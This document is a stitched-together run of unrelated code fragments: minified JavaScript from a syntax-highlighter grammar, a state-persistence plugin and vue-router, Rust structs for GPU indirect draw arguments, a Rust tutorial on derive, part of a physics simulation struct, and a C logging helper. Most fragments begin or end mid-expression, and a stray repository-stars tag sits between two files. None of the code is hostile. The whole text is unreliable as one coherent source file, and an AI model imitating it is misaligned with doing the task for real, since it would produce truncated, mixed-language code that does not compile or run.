true"},a=e.COMMENT("%","$"),r={className:"number",begin:"\\b(\\d+(_\\d+)*#[a-fA-F0-9]+(_[a-fA-F0-9]+)*|\\d+(_\\d+)*(\\.\\d+(_\\d+)*)?([eE][-+]?\\d+)?)",relevance:0},s={begin:"fun\\s+"+n+"/\\d+"},o={begin:t+"\\(",end:"\\)",returnBegin:!0,relevance:0,contains:[{begin:t,relevance:0},{begin:"\\(",end:"\\)",endsWithParent:!0,returnEnd:!0,relevance:0}]},l={begin:/\{/,end:/\}/,relevance:0},c={begin:"\\b_([A-Z][A-Za-z0-9_]*)?",relevance:0},d={begin:"[A-Z][a-zA-Z0-9_]*",relevance:0},u={begin:"#"+e.UNDERSCORE_IDENT_RE,relevance:0,returnBegin:!0,contains:[{begin:"#"+e.UNDERSCORE_IDENT_RE,relevance:0},{begin:/\{/,end:/\}/,relevance:0}]},g={beginKeywords:"fun receive if try case


erialize:JSON.stringify,deserialize:JSON.parse},key:l=o.$id,paths:c=null,debug:a=!1})=>{var i;return{storage:t,beforeRestore:n,afterRestore:r,serializer:s,key:(null!=(i=e.key)?i:e=>e)("string"==typeof l?l:l(o.$id)),paths:c,debug:a}}));o.$persist=()=>{l.forEach((e=>{Iu(o.$state,e)}))},o.$hydrate=({runHooks:e=!0}={})=>{l.forEach((n=>{const{beforeRestore:r,afterRestore:s}=n;e&&(null==r||r(t)),Ou(o,n),e&&(null==s||s(t))}))},l.forEach((e=>{const{beforeRestore:n,afterRestore:r}=e;null==n||n(t),Ou(o,e),null==r||r(t),o.$subscribe(((t,n)=>{Iu(n,e)}),{detached:!0})}))}}();
/*!
  * vue-router v4.2.4
  * (c) 2023 Eduardo San Martin Morote
  * @license MIT
  */const Au="undefined"!=typeof window;const Pu=Object.assign;function Ru(e,t){const n={};for(const r in t){const o=t[r];n[r]=Fu(o)?o.map(e):e(o)}return n}const Du=()=>{},Fu=Array.isArray,Mu=/\/$/,Uu=e=>e.replace(Mu,"");function Vu(e,t,n="/"){let r,o={},s="",l="";const c=t.indexOf("#");let a=t.indexOf("?");return c<a&&c>=0&&(a=-1),a>-1&&(r=t.slice(0,a),s=t.slice(a+1,c>-1?c:t.length),o=e(s)),c>-1&&(r=r||t.slice(0,c),l=t.slice(c,t.length)),r=function(e,t){if(e.startsWith("/"))return e;if(!e)return t;const n=t.split("/"),r=e.split("/"),o=r[r.length-1];".."!==o&&"."!==o||r.push("");let s,l,c=n.length-1;for(s=0;s<r.length;s++)if(l=r[s],"."!==l){if(".."!==l)break;c>1&&c--}return n.slice(0,c).join("/")+"/"+r.slice(s-(s===r.length?1:0)).join("/")}(null!=r?r:t,n),{fullPath:r+(s&&"?")+s+l,path:r,query:o,hash:l}}function ju(e,t){return t&&e.toLowerCase().startsWith(t.toLowerCase())?e.slice(t.length)||"/":e}function Bu(e,t){return(e.aliasOf||e)===(t.aliasOf||t)}function Wu(e,t){if(Object.keys(e).length!==Object.keys(t).length)return!1;for(const n in e)if(!Hu(e[n],t[n]))return!1;return!0}function Hu(e,t){return Fu(e)?$u(e,t):Fu(t)?$u(t,e):e===t}function $u(e,t){return Fu(t)?e.length===t.length&&e.every(((e,n)=>e===t[n])):1===e.length&&e[0]===t}var Gu,Yu,zu,Xu;(Yu=Gu||(Gu={})).pop="pop",Yu.push="push",(Xu=zu||(zu={})).back="back",Xu.forward="forward",Xu.unknown="";const Ku=/


  }
}

/// Argument buffer layout for draw_indirect commands.
#[repr(C)]
#[derive(Clone, Copy, Debug)]
pub struct DrawIndirectArgs {
    /// The number of vertices to draw.
    pub vertex_count: u32,
    /// The number of instances to draw.
    pub instance_count: u32,
    /// Offset into the vertex buffers, in vertices, to begin drawing from.
    pub first_vertex: u32,
    /// First instance to draw.
    pub first_instance: u32,
}

/// Argument buffer layout for draw_indexed_indirect commands.
#[repr(C)]
#[derive(Clone, Copy, Debug)]
pub struct DrawIndexedIndirectArgs {
    /// The number of indices to draw.
    pub index_count: u32,
    /// The number of instances to draw.
    pub instance_count: u32,
    /// Offset into the index buffer, in indices, begin drawing from.
    pub first_index: u32,
    /// Added to each index value before indexing into the vertex buffers.
    pub base_vertex: i32,
    /// First instance to draw.
    pub first_instance: u32,
}

/// Argument buffer layout for dispatch_indirect commands.
#[repr(C)]
#[derive(Clone, Copy, Debug)]
pub struct DispatchIndirectArgs {
    /// X dimension of the grid of workgroups to dispatch.
    pub group_size_x: u32,
    /// Y dimension of the grid of workgroups to dispatch.
    pub group_size_y: u32,
    /// Z dimension of the grid of workgroups to dispatch.
    pub group_size_z: u32,
}
<gh_stars>1-10
// Derive

// The compiler is capable of providing basic implementations
//  for some traits via the #[derive] attribute.
// These traits can still be manually implemented if a more complex behavior is required.

// `Centimeters`, a tuple struct that can be compared
#[derive(PartialEq, PartialOrd)]
struct Centimeters(f64);

// `Inches`, a tuple struct that can be printed
#[derive(Debug)]
struct Inches(i32);

impl Inches {
    fn to_centimeters(&self) -> Centimeters {
        let &Inches(inches) = self;

        Centimeters(inches as f64 * 2.54)
    }
}

// `Seconds`, a tuple struct with no additional attributes
struct Seconds(i32);

fn main() {
    let _one_second = Seconds(1);

    // Error: `Seconds` can't be printed; it doesn't implement the `Debug` trait
    //println!("One second looks like: {:?}", _one_second);
    // TODO ^ Try uncommenting this line

    // Error: `Seconds` can't be compared; it doesn't implement the `PartialEq` trait
    //let _this_is_true = (_one_second == _one_second);
    // TODO ^ Try uncommenting this line

    let foot = Inches(12);

    println!("One foot equals {:?}", foot);

    let meter = Centimeters(100.0);

    let cmp =
        if foot.to_centimeters() < meter {
            "smaller"
        } else {
            "bigger"
        };

    println!("One foot is {} than one meter.", cmp);
}
use std::mem;
use super::{Collision, Space, Time};

#[derive(Debug, Clone)]
pub struct SpaceTime<S: Space> {
  pub space: S,
  pub time: Time
}

impl<S: Space + Clone> SpaceTime<S> {
  pub fn new(s: S, t: Time) -> SpaceTime<S> {
    SpaceTime {
      space: s,
      time: t
    }
  }

  fn advance(&self, dt: Time) -> SpaceTime<S> {
    SpaceTime::new(
      self.space.map_particles(|p| p.evolve(dt)),
      Time(self.time.0 + dt.0)
    )
  }

  fn update(&self, coll: &Collision) -> SpaceTime<S> {
    match coll {
      &Collision::Free => self.clone(),

      &Collision::Wall { t, .. } |


/* SPDX-License-Identifier: LGPL-2.1 */
/* Copyright(c) 2016-2025 Intel Corporation. All rights reserved. */

#include <syslog.h>
#include <stdlib.h>
#include <ctype.h>
#include <string.h>
#include <errno.h>
#include <util/log.h>

void do_log(struct log_ctx *ctx, int priority, const char *file,
		int line, const char *fn, const char *format, ...)
{
	va_list args;
	int errno_save = errno;

	va_start(args, format);
	ctx->log_fn(ctx, priority, file, line, fn, format, args);
	va_end(args);
	errno = errno_save;
}

static void log_stderr(struct log_ctx *ctx, int priority, const char *file,
		int line, const char *fn, const char *format, va_list args)
{
	fprintf(stderr, "%s: %s: ", ctx->owner, fn);
	vfprintf(stderr, format, args);
}

static int log_priority(const char *priority)
{
	char *endptr;
	int prio;

	prio = strtol(priority, &endptr, 10);
	if (endptr[0] == '\0' || isspace(endptr[0]))
		return prio;
	if (strncmp(priority, "err", 3) == 0)
		return LOG_ERR;
	if (strncmp(priority, "info", 4) == 0)
		return LOG_INFO;
	if (strncmp(priority, "debug", 5) == 0)
		return LOG_DEBUG;
	if (strncmp(priority, "notice", 6) == 0)
		return LOG_NOTICE;
	return 0;
}

void log_init(struct log_ctx *ctx, const char *owner, const char *log_env)
{
	const char *env;

	ctx->owner = owner;
	ctx->log_fn = log_stderr;
	ctx->log_priority = LOG_ERR;

	/* environment overwrites config */
	env = secure_getenv(log_env);
	if (env != NULL)
		ctx->log_priority = log_priority(env);
}